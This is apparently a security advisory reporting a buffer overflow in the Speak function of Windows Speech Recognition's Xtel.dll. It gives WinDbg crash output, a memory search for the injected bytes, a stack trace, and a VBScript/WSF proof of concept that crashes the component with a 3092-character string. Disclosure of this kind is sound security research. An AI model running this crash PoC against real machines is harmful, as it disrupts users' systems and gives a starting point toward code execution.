Windows Speech Recognition - Buffer Overflow

# Title: Windows Speech Recognition- Buffer Overflow

# Author: Nassim Asrir

# Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-b73a57122/

# Vendor: https://www.microsoft.com/

About Windows Speech Recognition:
=================================

Windows Speech Recognition lets you control your PC by voice alone, without needing a keyboard or mouse.

Details:
========

If we navigate the Speech directory on Windows 10 we will get some (dll) files but the interest file is (Xtel.dll).

And in the normal case if we say something. that mean as there a variable which register what we say.

And if we play around "Xtel.dll" we will find a function named "Speak" which take to parameter "lineID as Long" and "text as String"

When we inject "A*3092" that lead to Buffer Overflow Vulnerability.

The crash occur in "6344164F MOV ECX,[EAX+2C]"

/* struct s0 {
    int8_t[44] pad44;
    int32_t f44;
};

void fun_634548b6(int32_t ecx, int32_t a2, int32_t a3, int32_t a4, int32_t a5);

void fun_63441643() {
    int32_t ecx1;
    struct s0* v2;
    int32_t v3;

    ecx1 = v2->f44;
    fun_634548b6(ecx1, v3, 0, 1, __return_address());
} */

Now we will run our POC.

0:000> g
ModLoad: 74250000 74276000   C:\WINDOWS\SysWOW64\IMM32.DLL
ModLoad: 74d60000 74d6f000   C:\WINDOWS\SysWOW64\kernel.appcore.dll
ModLoad: 71850000 718cc000   C:\WINDOWS\SysWOW64\uxtheme.dll
ModLoad: 6ee90000 6ef16000   C:\WINDOWS\SysWOW64\sxs.dll
ModLoad: 77590000 776d4000   C:\WINDOWS\SysWOW64\MSCTF.dll
ModLoad: 6f720000 6f743000   C:\WINDOWS\SysWOW64\dwmapi.dll
ModLoad: 6bc40000 6bddc000   C:\WINDOWS\SysWOW64\urlmon.dll
ModLoad: 777f0000 77878000   C:\WINDOWS\SysWOW64\shcore.dll
ModLoad: 6cb20000 6cd45000   C:\WINDOWS\SysWOW64\iertutil.dll
ModLoad: 74790000 74d4a000   C:\WINDOWS\SysWOW64\windows.storage.dll
ModLoad: 76f00000 76f45000   C:\WINDOWS\SysWOW64\shlwapi.dll
ModLoad: 776f0000 77708000   C:\WINDOWS\SysWOW64\profapi.dll
ModLoad: 75230000 75275000   C:\WINDOWS\SysWOW64\powrprof.dll
ModLoad: 77730000 77738000   C:\WINDOWS\SysWOW64\FLTLIB.DLL
ModLoad: 74340000 743c3000   C:\WINDOWS\SysWOW64\clbcatq.dll
ModLoad: 63a90000 63ac6000   C:\Windows\SysWOW64\scrobj.dll
ModLoad: 6b730000 6b741000   C:\WINDOWS\SysWOW64\WLDP.DLL
ModLoad: 77200000 77396000   C:\WINDOWS\SysWOW64\CRYPT32.dll
ModLoad: 753a0000 753ae000   C:\WINDOWS\SysWOW64\MSASN1.dll
ModLoad: 751e0000 75227000   C:\WINDOWS\SysWOW64\WINTRUST.dll
ModLoad: 73010000 73023000   C:\WINDOWS\SysWOW64\CRYPTSP.dll
ModLoad: 72fb0000 72fdf000   C:\WINDOWS\SysWOW64\rsaenh.dll
ModLoad: 73820000 73839000   C:\WINDOWS\SysWOW64\bcrypt.dll
ModLoad: 63a80000 63a8a000   C:\Windows\SysWOW64\MSISIP.DLL
ModLoad: 74540000 7459f000   C:\WINDOWS\SysWOW64\coml2.dll
ModLoad: 63a60000 63a78000   C:\Windows\SysWOW64\wshext.dll
ModLoad: 75480000 767ca000   C:\WINDOWS\SysWOW64\SHELL32.dll
ModLoad: 74d70000 74da9000   C:\WINDOWS\SysWOW64\cfgmgr32.dll
ModLoad: 63b00000 63b86000   C:\Windows\SysWOW64\vbscript.dll
ModLoad: 63af0000 63aff000   C:\WINDOWS\SysWOW64\amsi.dll
ModLoad: 73950000 73971000   C:\WINDOWS\SysWOW64\USERENV.dll
ModLoad: 63ad0000 63ae9000   C:\ProgramData\Microsoft\Windows Defender\platform\4.18.1806.18062-0\X86\MpOav.dll
ModLoad: 63440000 63472000   C:\Windows\speech\Xtel.dll
(347c.1e00): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\speech\Xtel.dll -
eax=00000001 ebx=63441643 ecx=63441643 edx=ffffffff esi=02c93664 edi=02c93644
eip=6344164f esp=02afe2b0 ebp=02afe2d8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Xtel+0x164f:
6344164f 8b482c          mov     ecx,dword ptr [eax+2Ch] ds:002b:0000002d=???????? <=====

Now we will try to find our injected "AAA"

0:000> s -a 0x00000000 L?7fffffff "AAAAA"

75db1cad  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cae  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1caf  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cb0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cb1  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cb2  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cb3  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cb4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cb5  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cb6  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cb7  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cb8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cb9  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cba  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cbb  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cbc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cbd  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cbe  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cbf  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cc0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cc1  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cc2  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cc3  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cc4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cc5  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cc6  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cc7  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cc8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cc9  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
75db1cca  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

0:000> k
 # ChildEBP RetAddr 
00 030fe6a8 753de4ef Xtel+0x164f
01 030fe6c8 753cf69d OLEAUT32!DispCallFunc+0x16f
02 030fe980 634454eb OLEAUT32!CTypeInfo2::Invoke+0x2ed
WARNING: Stack unwind information not available. Following frames may be wrong.
03 030fe9b0 6344a27f Xtel+0x54eb
04 030fe9dc 63b1b6e7 Xtel!DllUnregisterServer+0x502
05 030fea20 63b2832f vbscript!IDispatchInvoke2+0x96
06 030fec6c 63b2fdcc vbscript!InvokeDispatch+0x5ef
07 030fee84 63b29677 vbscript!CScriptRuntime::RunNoEH+0x5bbc
08 030feed4 63b289d5 vbscript!CScriptRuntime::Run+0xc7
09 030fefe4 63b23e93 vbscript!CScriptEntryPoint::Call+0xe5
0a 030ff070 63b25265 vbscript!CSession::Execute+0x443
0b 030ff0bc 63b262c2 vbscript!COleScript::ExecutePendingScripts+0x15a
0c 030ff0e0 63a9c143 vbscript!COleScript::SetScriptState+0x62
0d 030ff10c 63a9cd22 scrobj!ComScriptlet::Inner::StartEngines+0x7c
0e 030ff1f8 63a9b222 scrobj!ComScriptlet::Inner::Init+0x222
0f 030ff20c 63a9b00c scrobj!ComScriptlet::New+0x43
10 030ff230 003de390 scrobj!ComScriptletConstructor::Create+0x3c
11 030ff2b8 003d9693 wscript!CHost::RunXMLScript+0x411
12 030ff508 003dae64 wscript!CHost::Execute+0x284
13 030ffac4 003d8f75 wscript!CHost::Main+0x574
14 030ffd7c 003d9144 wscript!StringCchPrintfA+0xfa9
15 030ffda8 003d7a83 wscript!WinMain+0x1a9
16 030ffdf8 76f68484 wscript!WinMainCRTStartup+0x63
17 030ffe0c 779d2fea KERNEL32!BaseThreadInitThunk+0x24
18 030ffe54 779d2fba ntdll!__RtlUserThreadStart+0x2f
19 030ffe64 00000000 ntdll!_RtlUserThreadStart+0x1b

POC:
===

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:FC9E740F-6058-11D1-8C66-0060081841DE' id='target' />
<script language='vbscript'>

'Wscript.echo typename(target)

'for debugging/custom prolog
vulnerable_DLL = "C:\Windows\speech\Xtel.dll"
prototype  = "Sub Speak ( ByVal lineID As Long ,  ByVal text As String )"
vulnerable_function = "Speak"
progid     = "TELLib.phone"
argCount   = 2

arg1=1
arg2=String(3092, "AAAAA")

target.Speak arg1 ,arg2

</script></job></package>

#EOF